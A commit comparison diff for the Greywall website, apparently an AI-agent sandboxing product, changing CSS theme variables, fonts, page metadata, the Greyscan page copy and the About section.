Compare commits
6 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
b1d0c95232 | ||
|
|
3f7a5e0fc1 | ||
|
|
f4fa328455 | ||
|
|
b2879e1a5e | ||
|
|
14fcaea830 | ||
|
|
b43e4c8ac4 |
205
app/globals.css
205
app/globals.css
@@ -4,77 +4,64 @@
|
|||||||
@custom-variant dark (&:is(.dark *));
|
@custom-variant dark (&:is(.dark *));
|
||||||
|
|
||||||
:root {
|
:root {
|
||||||
--background: 240 240 236;
|
--radius: 0.625rem;
|
||||||
--foreground: 22 22 20;
|
--background: #F0F0EC;
|
||||||
--card: 249 249 247;
|
--foreground: #161614;
|
||||||
--card-foreground: 22 22 20;
|
--card: #F9F9F7;
|
||||||
--popover: 249 249 247;
|
--card-foreground: #161614;
|
||||||
--popover-foreground: 22 22 20;
|
--popover: #F9F9F7;
|
||||||
--primary: 217 94 42;
|
--popover-foreground: #161614;
|
||||||
--primary-foreground: 249 249 247;
|
--primary: #D95E2A;
|
||||||
--secondary: 240 240 236;
|
--primary-foreground: #F9F9F7;
|
||||||
--secondary-foreground: 47 47 44;
|
--secondary: #F0F0EC;
|
||||||
--muted: 240 240 236;
|
--secondary-foreground: #161614;
|
||||||
--muted-foreground: 87 87 83;
|
--muted: #F0F0EC;
|
||||||
--accent: 221 221 215;
|
--muted-foreground: #575753;
|
||||||
--accent-foreground: 22 22 20;
|
--accent: #DDDDD7;
|
||||||
--destructive: 180 50 50;
|
--accent-foreground: #161614;
|
||||||
--destructive-foreground: 249 249 247;
|
--destructive: #B43232;
|
||||||
--border: 196 196 189;
|
--destructive-foreground: #F9F9F7;
|
||||||
--input: 196 196 189;
|
--border: #C4C4BD;
|
||||||
--ring: 217 94 42;
|
--input: #C4C4BD;
|
||||||
--radius: 0.375rem;
|
--ring: #D95E2A;
|
||||||
}
|
|
||||||
|
|
||||||
.dark {
|
|
||||||
--background: 22 22 20;
|
|
||||||
--foreground: 249 249 247;
|
|
||||||
--card: 47 47 44;
|
|
||||||
--card-foreground: 249 249 247;
|
|
||||||
--popover: 47 47 44;
|
|
||||||
--popover-foreground: 249 249 247;
|
|
||||||
--primary: 217 94 42;
|
|
||||||
--primary-foreground: 249 249 247;
|
|
||||||
--secondary: 87 87 83;
|
|
||||||
--secondary-foreground: 249 249 247;
|
|
||||||
--muted: 87 87 83;
|
|
||||||
--muted-foreground: 196 196 189;
|
|
||||||
--accent: 87 87 83;
|
|
||||||
--accent-foreground: 249 249 247;
|
|
||||||
--destructive: 180 50 50;
|
|
||||||
--destructive-foreground: 249 249 247;
|
|
||||||
--border: 87 87 83;
|
|
||||||
--input: 87 87 83;
|
|
||||||
--ring: 217 94 42;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@theme inline {
|
@theme inline {
|
||||||
--font-sans: var(--font-inter), 'Inter', ui-sans-serif, system-ui, sans-serif;
|
--color-background: var(--background);
|
||||||
--font-serif: var(--font-source-serif), 'Source Serif 4', 'Source Serif Pro', Georgia, serif;
|
--color-foreground: var(--foreground);
|
||||||
|
--color-offwhite: #F9F9F7;
|
||||||
|
--color-orange: #D95E2A;
|
||||||
|
--color-grey-1: #F0F0EC;
|
||||||
|
--color-grey-2: #DDDDD7;
|
||||||
|
--color-grey-3: #C4C4BD;
|
||||||
|
--color-grey-4: #A6A69F;
|
||||||
|
--color-grey-5: #7F7F79;
|
||||||
|
--color-grey-7: #575753;
|
||||||
|
--color-grey-8: #2F2F2C;
|
||||||
|
--color-grey-9: #161614;
|
||||||
|
--font-sans: var(--font-geist-sans);
|
||||||
--font-mono: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, monospace;
|
--font-mono: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, monospace;
|
||||||
|
--font-serif: var(--font-source-serif-pro);
|
||||||
--color-background: rgb(var(--background));
|
--color-ring: var(--ring);
|
||||||
--color-foreground: rgb(var(--foreground));
|
--color-input: var(--input);
|
||||||
--color-card: rgb(var(--card));
|
--color-border: var(--border);
|
||||||
--color-card-foreground: rgb(var(--card-foreground));
|
--color-destructive: var(--destructive);
|
||||||
--color-popover: rgb(var(--popover));
|
--color-destructive-foreground: var(--destructive-foreground);
|
||||||
--color-popover-foreground: rgb(var(--popover-foreground));
|
--color-accent-foreground: var(--accent-foreground);
|
||||||
--color-primary: rgb(var(--primary));
|
--color-accent: var(--accent);
|
||||||
--color-primary-foreground: rgb(var(--primary-foreground));
|
--color-muted-foreground: var(--muted-foreground);
|
||||||
--color-secondary: rgb(var(--secondary));
|
--color-muted: var(--muted);
|
||||||
--color-secondary-foreground: rgb(var(--secondary-foreground));
|
--color-secondary-foreground: var(--secondary-foreground);
|
||||||
--color-muted: rgb(var(--muted));
|
--color-secondary: var(--secondary);
|
||||||
--color-muted-foreground: rgb(var(--muted-foreground));
|
--color-primary-foreground: var(--primary-foreground);
|
||||||
--color-accent: rgb(var(--accent));
|
--color-primary: var(--primary);
|
||||||
--color-accent-foreground: rgb(var(--accent-foreground));
|
--color-popover-foreground: var(--popover-foreground);
|
||||||
--color-destructive: rgb(var(--destructive));
|
--color-popover: var(--popover);
|
||||||
--color-destructive-foreground: rgb(var(--destructive-foreground));
|
--color-card-foreground: var(--card-foreground);
|
||||||
--color-border: rgb(var(--border));
|
--color-card: var(--card);
|
||||||
--color-input: rgb(var(--input));
|
--radius-sm: calc(var(--radius) - 4px);
|
||||||
--color-ring: rgb(var(--ring));
|
--radius-md: calc(var(--radius) - 2px);
|
||||||
--radius-sm: calc(var(--radius) - 2px);
|
--radius-lg: var(--radius);
|
||||||
--radius-md: var(--radius);
|
|
||||||
--radius-lg: calc(var(--radius) + 2px);
|
|
||||||
--radius-xl: calc(var(--radius) + 4px);
|
--radius-xl: calc(var(--radius) + 4px);
|
||||||
|
|
||||||
--color-greyhaven-orange: #D95E2A;
|
--color-greyhaven-orange: #D95E2A;
|
||||||
@@ -89,6 +76,18 @@
|
|||||||
--color-greyhaven-grey8: #2F2F2C;
|
--color-greyhaven-grey8: #2F2F2C;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
* {
|
||||||
|
font-family: var(--font-source-serif-pro), serif, Arial, Helvetica, sans-serif;
|
||||||
|
}
|
||||||
|
|
||||||
|
body {
|
||||||
|
font-family: var(--font-source-serif-pro), serif, Arial, Helvetica, sans-serif;
|
||||||
|
width: 100%;
|
||||||
|
overflow-x: visible;
|
||||||
|
background: #DDDDD7;
|
||||||
|
min-height: 100vh;
|
||||||
|
}
|
||||||
|
|
||||||
@layer base {
|
@layer base {
|
||||||
* {
|
* {
|
||||||
@apply border-border outline-ring/50;
|
@apply border-border outline-ring/50;
|
||||||
@@ -101,22 +100,46 @@
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Code block styling */
|
.bg-gradient {
|
||||||
.code-block {
|
background: #DDDDD7;
|
||||||
background: rgb(30 30 27);
|
|
||||||
border: 1px solid rgb(var(--border));
|
|
||||||
border-radius: var(--radius-lg);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Subtle glow effect for primary elements */
|
.title-serif {
|
||||||
.glow-orange {
|
font-family: var(--font-source-serif-pro), serif, Arial, Helvetica, sans-serif;
|
||||||
box-shadow: 0 0 40px rgba(217, 94, 42, 0.08);
|
font-weight: 600;
|
||||||
|
letter-spacing: -2%;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.text-serif {
|
||||||
|
font-family: var(--font-source-serif-pro), serif, Arial, Helvetica, sans-serif;
|
||||||
|
font-weight: 600;
|
||||||
|
}
|
||||||
|
|
||||||
|
.surface-card {
|
||||||
|
background: rgba(249, 249, 247, 0.92);
|
||||||
|
box-shadow: 0 8px 24px rgba(22, 22, 20, 0.05);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Code block styling */
|
||||||
|
.code-block {
|
||||||
|
background: rgb(47 47 44);
|
||||||
|
border: 1px solid rgb(87 87 83);
|
||||||
|
border-radius: var(--radius-lg);
|
||||||
|
box-shadow:
|
||||||
|
inset 0 1px 0 rgba(249, 249, 247, 0.04),
|
||||||
|
0 6px 18px rgba(22, 22, 20, 0.06);
|
||||||
|
}
|
||||||
|
|
||||||
|
.code-block,
|
||||||
|
.code-block * {
|
||||||
|
font-family: var(--font-mono);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
/* Terminal prompt styling */
|
/* Terminal prompt styling */
|
||||||
.terminal-line::before {
|
.terminal-line::before {
|
||||||
content: '$ ';
|
content: '$ ';
|
||||||
color: rgb(var(--muted-foreground));
|
color: var(--muted-foreground);
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Smooth section transitions */
|
/* Smooth section transitions */
|
||||||
@@ -124,35 +147,21 @@ section {
|
|||||||
scroll-margin-top: 5rem;
|
scroll-margin-top: 5rem;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Custom scrollbar for dark theme */
|
/* Custom scrollbar */
|
||||||
.dark ::-webkit-scrollbar {
|
::-webkit-scrollbar {
|
||||||
width: 8px;
|
width: 8px;
|
||||||
}
|
}
|
||||||
.dark ::-webkit-scrollbar-track {
|
::-webkit-scrollbar-track {
|
||||||
background: rgb(22 22 20);
|
background: rgb(240 240 236);
|
||||||
}
|
}
|
||||||
.dark ::-webkit-scrollbar-thumb {
|
::-webkit-scrollbar-thumb {
|
||||||
background: rgb(87 87 83);
|
background: rgb(166 166 159);
|
||||||
border-radius: 4px;
|
border-radius: 4px;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Animated gradient border */
|
|
||||||
@keyframes border-glow {
|
|
||||||
0%, 100% { opacity: 0.3; }
|
|
||||||
50% { opacity: 0.6; }
|
|
||||||
}
|
|
||||||
|
|
||||||
.border-glow {
|
|
||||||
animation: border-glow 3s ease-in-out infinite;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Layer card hover effect */
|
/* Layer card hover effect */
|
||||||
.layer-card {
|
.layer-card {
|
||||||
transition: all 0.3s ease;
|
transition: border-color 0.2s ease;
|
||||||
}
|
|
||||||
.layer-card:hover {
|
|
||||||
transform: translateY(-2px);
|
|
||||||
box-shadow: 0 8px 32px rgba(0, 0, 0, 0.2);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Carousel progress bar */
|
/* Carousel progress bar */
|
||||||
@@ -174,7 +183,7 @@ section {
|
|||||||
}
|
}
|
||||||
|
|
||||||
.animate-fade-up {
|
.animate-fade-up {
|
||||||
animation: fade-up 0.6s ease-out forwards;
|
animation: fade-up 0.45s ease-out forwards;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Stagger children */
|
/* Stagger children */
|
||||||
|
|||||||
@@ -2,13 +2,13 @@ import type { Metadata } from 'next'
|
|||||||
|
|
||||||
export const metadata: Metadata = {
|
export const metadata: Metadata = {
|
||||||
title: 'Greyscan | Greywall',
|
title: 'Greyscan | Greywall',
|
||||||
description: 'Scan your repo and see what an unrestricted AI agent would attempt. Powered by Greywall.',
|
description: 'Inspect what an unrestricted AI agent would likely try on your machine from a public repository context.',
|
||||||
alternates: {
|
alternates: {
|
||||||
canonical: 'https://greywall.io/greyscan',
|
canonical: 'https://greywall.io/greyscan',
|
||||||
},
|
},
|
||||||
openGraph: {
|
openGraph: {
|
||||||
title: 'Greyscan | Greywall',
|
title: 'Greyscan | Greywall',
|
||||||
description: 'Scan your repo and see what an unrestricted AI agent would attempt. Powered by Greywall.',
|
description: 'Inspect what an unrestricted AI agent would likely try on your machine from a public repository context.',
|
||||||
url: 'https://greywall.io/greyscan',
|
url: 'https://greywall.io/greyscan',
|
||||||
siteName: 'Greywall',
|
siteName: 'Greywall',
|
||||||
type: 'website',
|
type: 'website',
|
||||||
|
|||||||
@@ -5,6 +5,7 @@ import {
|
|||||||
Shield, AlertTriangle, Globe, FolderOpen, Terminal,
|
Shield, AlertTriangle, Globe, FolderOpen, Terminal,
|
||||||
ArrowLeft, Copy, Check, ArrowRight, Lock, Eye, MessageSquareWarning,
|
ArrowLeft, Copy, Check, ArrowRight, Lock, Eye, MessageSquareWarning,
|
||||||
} from 'lucide-react'
|
} from 'lucide-react'
|
||||||
|
import { GreywallLogo } from '@/components/logo'
|
||||||
|
|
||||||
// --- Types ---
|
// --- Types ---
|
||||||
|
|
||||||
@@ -354,23 +355,17 @@ export default function GamePage() {
|
|||||||
return (
|
return (
|
||||||
<main className="min-h-screen">
|
<main className="min-h-screen">
|
||||||
{/* Nav */}
|
{/* Nav */}
|
||||||
<nav className="fixed top-0 left-0 right-0 z-50 border-b border-border/50 bg-background/80 backdrop-blur-md">
|
<nav className="fixed top-0 left-0 right-0 z-50 border-b border-border/50 bg-background/90 backdrop-blur-md">
|
||||||
<div className="mx-auto max-w-5xl flex items-center justify-between px-6 h-14">
|
<div className="mx-auto max-w-5xl flex items-center justify-between px-6 h-14">
|
||||||
<a href="/" className="flex items-center gap-2 text-sm text-muted-foreground hover:text-foreground transition-colors">
|
<a href="/" className="flex items-center gap-2 text-sm text-muted-foreground hover:text-foreground transition-colors">
|
||||||
<ArrowLeft className="h-4 w-4" />
|
<ArrowLeft className="h-4 w-4" />
|
||||||
<span className="hidden sm:inline">Back to Greywall</span>
|
<span className="hidden sm:inline">Back to Greywall</span>
|
||||||
</a>
|
</a>
|
||||||
<div className="flex items-center gap-2.5">
|
<div className="inline-flex items-center gap-3">
|
||||||
<svg viewBox="0 0 32 32" fill="none" className="h-5 w-5" xmlns="http://www.w3.org/2000/svg">
|
<GreywallLogo size="small" />
|
||||||
<path d="M16 2L4 7V15C4 22.18 9.11 28.79 16 30C22.89 28.79 28 22.18 28 15V7L16 2Z" fill="#D95E2A" />
|
<span className="font-sans text-lg font-semibold tracking-[-0.03em] text-foreground">
|
||||||
<path d="M16 6L8 9.5V15C8 20.05 11.42 24.68 16 26C20.58 24.68 24 20.05 24 15V9.5L16 6Z" fill="#161614" />
|
Greyscan
|
||||||
<circle cx="16" cy="12" r="2" fill="#D95E2A" />
|
</span>
|
||||||
<circle cx="12" cy="17" r="1.5" fill="#D95E2A" />
|
|
||||||
<circle cx="20" cy="17" r="1.5" fill="#D95E2A" />
|
|
||||||
<circle cx="16" cy="21" r="1.5" fill="#D95E2A" />
|
|
||||||
<path d="M16 14V19.5M14 16L12.5 17M18 16L19.5 17" stroke="#D95E2A" strokeWidth="1" strokeLinecap="round" />
|
|
||||||
</svg>
|
|
||||||
<span className="font-serif font-semibold text-lg tracking-tight">Greyscan</span>
|
|
||||||
</div>
|
</div>
|
||||||
<div className="w-20" />
|
<div className="w-20" />
|
||||||
</div>
|
</div>
|
||||||
@@ -380,7 +375,6 @@ export default function GamePage() {
|
|||||||
{/* ── INPUT PHASE ── */}
|
{/* ── INPUT PHASE ── */}
|
||||||
{phase === 'input' && (
|
{phase === 'input' && (
|
||||||
<section className="relative min-h-[calc(100vh-3.5rem)] flex items-center justify-center px-4 sm:px-6">
|
<section className="relative min-h-[calc(100vh-3.5rem)] flex items-center justify-center px-4 sm:px-6">
|
||||||
<div className="absolute inset-0 bg-[radial-gradient(ellipse_at_top,rgba(217,94,42,0.06)_0%,transparent_50%)]" />
|
|
||||||
<div
|
<div
|
||||||
className="absolute inset-0 opacity-[0.03]"
|
className="absolute inset-0 opacity-[0.03]"
|
||||||
style={{
|
style={{
|
||||||
@@ -391,12 +385,11 @@ export default function GamePage() {
|
|||||||
|
|
||||||
<div className="relative max-w-2xl w-full text-center animate-fade-up">
|
<div className="relative max-w-2xl w-full text-center animate-fade-up">
|
||||||
<h1 className="font-serif text-3xl sm:text-4xl md:text-5xl font-semibold tracking-tight leading-[1.1] mb-4">
|
<h1 className="font-serif text-3xl sm:text-4xl md:text-5xl font-semibold tracking-tight leading-[1.1] mb-4">
|
||||||
What would an AI agent{' '}
|
What would an unrestricted agent try on your machine?
|
||||||
<em className="italic text-primary">try on your machine?</em>
|
|
||||||
</h1>
|
</h1>
|
||||||
|
|
||||||
<p className="text-muted-foreground font-serif text-base sm:text-lg leading-relaxed mb-10 max-w-xl mx-auto">
|
<p className="text-muted-foreground font-serif text-base sm:text-lg leading-relaxed mb-10 max-w-xl mx-auto">
|
||||||
AI agents run as you, with access to everything you have. Paste a repo and see what an unrestricted agent could attempt. This is an awareness tool, not a security assessment.
|
Paste a public repository and Greyscan will estimate the reads, writes, and calls an unrestricted agent would likely attempt from that context. This is an awareness tool, not a security assessment.
|
||||||
</p>
|
</p>
|
||||||
|
|
||||||
<form
|
<form
|
||||||
@@ -421,7 +414,7 @@ export default function GamePage() {
|
|||||||
</form>
|
</form>
|
||||||
|
|
||||||
<p className="text-xs text-muted-foreground/50 mt-4 font-sans">
|
<p className="text-xs text-muted-foreground/50 mt-4 font-sans">
|
||||||
Public repos only · No code is stored · Powered by <a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer" className="text-primary hover:text-primary/80 transition-colors">Greywall</a>
|
Public repos only · No code is stored · Built on <a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer" className="text-primary hover:text-primary/80 transition-colors">Greywall</a>
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</section>
|
</section>
|
||||||
@@ -501,7 +494,7 @@ export default function GamePage() {
|
|||||||
<section className="px-4 sm:px-6 py-12 sm:py-16">
|
<section className="px-4 sm:px-6 py-12 sm:py-16">
|
||||||
<div className="max-w-2xl mx-auto">
|
<div className="max-w-2xl mx-auto">
|
||||||
{/* Report Card */}
|
{/* Report Card */}
|
||||||
<div className="border border-border/30 rounded-xl overflow-hidden bg-card/20 animate-fade-up glow-orange">
|
<div className="border border-border/30 rounded-xl overflow-hidden bg-card/20 animate-fade-up">
|
||||||
{/* Header */}
|
{/* Header */}
|
||||||
<div className="p-6 sm:p-8 border-b border-border/20">
|
<div className="p-6 sm:p-8 border-b border-border/20">
|
||||||
<div className="flex items-start justify-between gap-4">
|
<div className="flex items-start justify-between gap-4">
|
||||||
|
|||||||
@@ -1,37 +1,46 @@
|
|||||||
import type { Metadata } from 'next'
|
import type { Metadata } from 'next'
|
||||||
import { Inter, Source_Serif_4 } from 'next/font/google'
|
import { Geist } from 'next/font/google'
|
||||||
|
import localFont from 'next/font/local'
|
||||||
import './globals.css'
|
import './globals.css'
|
||||||
|
|
||||||
const inter = Inter({
|
const geistSans = Geist({
|
||||||
|
variable: '--font-geist-sans',
|
||||||
subsets: ['latin'],
|
subsets: ['latin'],
|
||||||
display: 'swap',
|
|
||||||
variable: '--font-inter',
|
|
||||||
})
|
})
|
||||||
|
|
||||||
const sourceSerif = Source_Serif_4({
|
const sourceSerifPro = localFont({
|
||||||
subsets: ['latin'],
|
src: [
|
||||||
|
{
|
||||||
|
path: '../public/fonts/Source_Serif_4/SourceSerif4-VariableFont_opsz,wght.ttf',
|
||||||
|
style: 'normal',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
path: '../public/fonts/Source_Serif_4/SourceSerif4-Italic-VariableFont_opsz,wght.ttf',
|
||||||
|
style: 'italic',
|
||||||
|
},
|
||||||
|
],
|
||||||
|
variable: '--font-source-serif-pro',
|
||||||
|
weight: '200 900',
|
||||||
display: 'swap',
|
display: 'swap',
|
||||||
variable: '--font-source-serif',
|
preload: true,
|
||||||
style: ['normal', 'italic'],
|
|
||||||
axes: ['opsz'],
|
|
||||||
})
|
})
|
||||||
|
|
||||||
export const metadata: Metadata = {
|
export const metadata: Metadata = {
|
||||||
metadataBase: new URL('https://greywall.io'),
|
metadataBase: new URL('https://greywall.io'),
|
||||||
title: 'Greywall: Sandbox for AI Agents',
|
title: 'Greywall | Contained Sandboxing for AI Agents',
|
||||||
description:
|
description:
|
||||||
'Container-free, default-deny sandboxing with real-time observability for AI agents on Linux and macOS. Five kernel-enforced security layers in one command. Open source.',
|
'Default-deny sandboxing with real-time observability for AI agents on Linux and macOS. Filesystem, network, and command boundaries stay under your control.',
|
||||||
icons: {
|
icons: {
|
||||||
icon: [
|
icon: [
|
||||||
{ url: '/icon.svg', type: 'image/svg+xml' },
|
{ url: '/greyhaven-mark.svg', type: 'image/svg+xml' },
|
||||||
{ url: '/icon-dark-32x32.png', sizes: '32x32', type: 'image/png', media: '(prefers-color-scheme: dark)' },
|
{ url: '/icon-dark-32x32.png', sizes: '32x32', type: 'image/png', media: '(prefers-color-scheme: dark)' },
|
||||||
{ url: '/icon-light-32x32.png', sizes: '32x32', type: 'image/png', media: '(prefers-color-scheme: light)' },
|
{ url: '/icon-light-32x32.png', sizes: '32x32', type: 'image/png', media: '(prefers-color-scheme: light)' },
|
||||||
],
|
],
|
||||||
apple: '/apple-icon.png',
|
apple: '/apple-icon.png',
|
||||||
},
|
},
|
||||||
openGraph: {
|
openGraph: {
|
||||||
title: 'Greywall: Sandbox for AI Agents',
|
title: 'Greywall | Contained Sandboxing for AI Agents',
|
||||||
description: 'Container-free, default-deny sandboxing with real-time observability for AI agents. Five kernel-enforced security layers in one command.',
|
description: 'Default-deny sandboxing with real-time observability for AI agents on Linux and macOS.',
|
||||||
url: 'https://greywall.io',
|
url: 'https://greywall.io',
|
||||||
siteName: 'Greywall',
|
siteName: 'Greywall',
|
||||||
type: 'website',
|
type: 'website',
|
||||||
@@ -39,8 +48,8 @@ export const metadata: Metadata = {
|
|||||||
},
|
},
|
||||||
twitter: {
|
twitter: {
|
||||||
card: 'summary_large_image',
|
card: 'summary_large_image',
|
||||||
title: 'Greywall: Sandbox for AI Agents',
|
title: 'Greywall | Contained Sandboxing for AI Agents',
|
||||||
description: 'Container-free, default-deny sandboxing with real-time observability for AI agents. Five kernel-enforced security layers in one command.',
|
description: 'Default-deny sandboxing with real-time observability for AI agents on Linux and macOS.',
|
||||||
images: ['/og-image.png'],
|
images: ['/og-image.png'],
|
||||||
},
|
},
|
||||||
alternates: {
|
alternates: {
|
||||||
@@ -56,7 +65,7 @@ const jsonLd = {
|
|||||||
'@id': 'https://greyhaven.co/#organization',
|
'@id': 'https://greyhaven.co/#organization',
|
||||||
name: 'Greyhaven',
|
name: 'Greyhaven',
|
||||||
url: 'https://greyhaven.co',
|
url: 'https://greyhaven.co',
|
||||||
logo: { '@type': 'ImageObject', url: 'https://greywall.io/icon.svg' },
|
logo: { '@type': 'ImageObject', url: 'https://greywall.io/greyhaven-mark.svg' },
|
||||||
sameAs: ['https://github.com/GreyhavenHQ'],
|
sameAs: ['https://github.com/GreyhavenHQ'],
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
@@ -71,7 +80,7 @@ const jsonLd = {
|
|||||||
'@id': 'https://greywall.io/#software',
|
'@id': 'https://greywall.io/#software',
|
||||||
name: 'Greywall',
|
name: 'Greywall',
|
||||||
description:
|
description:
|
||||||
'Container-free, default-deny sandboxing with real-time observability and dynamic controls for AI agents on Linux and macOS.',
|
'Default-deny sandboxing with real-time observability and dynamic controls for AI agents on Linux and macOS.',
|
||||||
applicationCategory: 'SecurityApplication',
|
applicationCategory: 'SecurityApplication',
|
||||||
operatingSystem: 'Linux, macOS',
|
operatingSystem: 'Linux, macOS',
|
||||||
url: 'https://greywall.io',
|
url: 'https://greywall.io',
|
||||||
@@ -107,14 +116,14 @@ export default function RootLayout({
|
|||||||
children: React.ReactNode
|
children: React.ReactNode
|
||||||
}>) {
|
}>) {
|
||||||
return (
|
return (
|
||||||
<html lang="en" className={`dark ${inter.variable} ${sourceSerif.variable}`}>
|
<html lang="en">
|
||||||
<head>
|
<head>
|
||||||
<script
|
<script
|
||||||
type="application/ld+json"
|
type="application/ld+json"
|
||||||
dangerouslySetInnerHTML={{ __html: JSON.stringify(jsonLd) }}
|
dangerouslySetInnerHTML={{ __html: JSON.stringify(jsonLd) }}
|
||||||
/>
|
/>
|
||||||
</head>
|
</head>
|
||||||
<body className="font-sans antialiased bg-background text-foreground">
|
<body className={`${geistSans.variable} ${sourceSerifPro.variable} min-h-dvh flex flex-col`}>
|
||||||
{children}
|
{children}
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
|
|||||||
@@ -1,5 +1,3 @@
|
|||||||
'use client'
|
|
||||||
|
|
||||||
import { PlatformProvider } from '@/components/platform-toggle'
|
import { PlatformProvider } from '@/components/platform-toggle'
|
||||||
import { Nav } from '@/components/nav'
|
import { Nav } from '@/components/nav'
|
||||||
import { Hero } from '@/components/hero'
|
import { Hero } from '@/components/hero'
|
||||||
@@ -10,6 +8,7 @@ import { Layers } from '@/components/layers'
|
|||||||
import { Observability } from '@/components/observability'
|
import { Observability } from '@/components/observability'
|
||||||
import { Control } from '@/components/control'
|
import { Control } from '@/components/control'
|
||||||
import { Comparison } from '@/components/comparison'
|
import { Comparison } from '@/components/comparison'
|
||||||
|
import { Waitlist } from '@/components/waitlist'
|
||||||
import { About } from '@/components/about'
|
import { About } from '@/components/about'
|
||||||
import { FAQ } from '@/components/faq'
|
import { FAQ } from '@/components/faq'
|
||||||
import { Footer } from '@/components/footer'
|
import { Footer } from '@/components/footer'
|
||||||
@@ -17,7 +16,7 @@ import { Footer } from '@/components/footer'
|
|||||||
export default function Home() {
|
export default function Home() {
|
||||||
return (
|
return (
|
||||||
<PlatformProvider>
|
<PlatformProvider>
|
||||||
<main className="min-h-screen">
|
<main className="bg-gradient min-h-screen">
|
||||||
<Nav />
|
<Nav />
|
||||||
<Hero />
|
<Hero />
|
||||||
<Problem />
|
<Problem />
|
||||||
@@ -27,6 +26,7 @@ export default function Home() {
|
|||||||
<Control />
|
<Control />
|
||||||
<Comparison />
|
<Comparison />
|
||||||
<GettingStarted />
|
<GettingStarted />
|
||||||
|
<Waitlist />
|
||||||
<About />
|
<About />
|
||||||
<FAQ />
|
<FAQ />
|
||||||
<Footer />
|
<Footer />
|
||||||
|
|||||||
@@ -1,39 +1,29 @@
|
|||||||
import { Users } from 'lucide-react'
|
|
||||||
|
|
||||||
export function About() {
|
export function About() {
|
||||||
return (
|
return (
|
||||||
<section id="about" className="py-24 px-4 sm:px-6 border-t border-border/30">
|
<section id="about" className="py-24 px-4 sm:px-6 border-t border-border/30">
|
||||||
<div className="mx-auto max-w-5xl">
|
<div className="mx-auto max-w-5xl">
|
||||||
<div className="max-w-2xl mb-12">
|
<div className="max-w-2xl mb-12">
|
||||||
<div className="flex items-center gap-2 mb-4">
|
<h2 className="title-serif text-[36px] md:text-[48px] leading-none">
|
||||||
<Users className="h-4 w-4 text-primary" />
|
|
||||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
|
||||||
About
|
|
||||||
</span>
|
|
||||||
</div>
|
|
||||||
<h2 className="font-serif text-2xl sm:text-3xl md:text-4xl font-semibold tracking-tight mb-4">
|
|
||||||
We built it for ourselves, then open-sourced it.
|
We built it for ourselves, then open-sourced it.
|
||||||
</h2>
|
</h2>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div className="max-w-3xl space-y-4 text-muted-foreground font-serif text-lg leading-relaxed">
|
<div className="max-w-3xl space-y-4 text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground">
|
||||||
<p>
|
<p>
|
||||||
Greywall was built by{' '}
|
Greywall was built by{' '}
|
||||||
<a href="https://greyhaven.co" target="_blank" rel="noopener noreferrer" className="text-foreground font-medium hover:text-primary transition-colors">Greyhaven</a>,
|
<a href="https://greyhaven.co" target="_blank" rel="noopener noreferrer" className="text-foreground font-medium hover:text-primary transition-colors">Greyhaven</a>,
|
||||||
where we build custom{' '}
|
where we build custom{' '}
|
||||||
<a href="https://greyhaven.co/insights/greyhaven-sovereign-ai-framework" target="_blank" rel="noopener noreferrer" className="text-foreground font-medium hover:text-primary transition-colors">sovereign AI</a> solutions for enterprises.
|
<a href="https://greyhaven.co/insights/greyhaven-sovereign-ai-framework" target="_blank" rel="noopener noreferrer" className="text-foreground font-medium hover:text-primary transition-colors">sovereign AI</a> solutions for enterprises.
|
||||||
We needed kernel-enforced sandboxing with real-time visibility. Nothing existed, so we built it.
|
We needed kernel-enforced sandboxing with real-time visibility inside client environments, so we built it.
|
||||||
</p>
|
</p>
|
||||||
<p>
|
<p>
|
||||||
It runs in our production deployments every day. We open-sourced it because the security
|
It runs in production deployments today. We open-sourced it because the control layer around the agent should not depend on the company selling the model.
|
||||||
layer around your tools should be independent of the company selling you the AI.
|
|
||||||
We actively maintain it and ship updates regularly.
|
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
{/* Team */}
|
{/* Team */}
|
||||||
<div className="mt-16 border-t border-border/30 pt-16 mb-16">
|
<div className="mt-16 border-t border-border/30 pt-16 mb-16">
|
||||||
<h3 className="font-serif text-2xl sm:text-3xl font-semibold tracking-tight mb-8">
|
<h3 className="title-serif text-[22px] md:text-[28px] leading-[1.1] mb-8">
|
||||||
The people behind it.
|
The people behind it.
|
||||||
</h3>
|
</h3>
|
||||||
<div className="grid grid-cols-1 sm:grid-cols-3 gap-4 sm:gap-6">
|
<div className="grid grid-cols-1 sm:grid-cols-3 gap-4 sm:gap-6">
|
||||||
@@ -52,7 +42,7 @@ export function About() {
|
|||||||
/>
|
/>
|
||||||
<div>
|
<div>
|
||||||
<div className="font-sans font-semibold text-sm text-foreground">Max McCrea</div>
|
<div className="font-sans font-semibold text-sm text-foreground">Max McCrea</div>
|
||||||
<div className="text-xs text-primary font-sans font-medium">CEO & Founder, Greyhaven</div>
|
<div className="text-xs text-muted-foreground font-sans font-medium">CEO & Founder, Greyhaven</div>
|
||||||
<p className="text-xs text-muted-foreground font-serif mt-1.5 leading-relaxed">
|
<p className="text-xs text-muted-foreground font-serif mt-1.5 leading-relaxed">
|
||||||
AI researcher, Recurse Center alumnus. Built Monadical since 2016. Now building sovereign AI infrastructure.
|
AI researcher, Recurse Center alumnus. Built Monadical since 2016. Now building sovereign AI infrastructure.
|
||||||
</p>
|
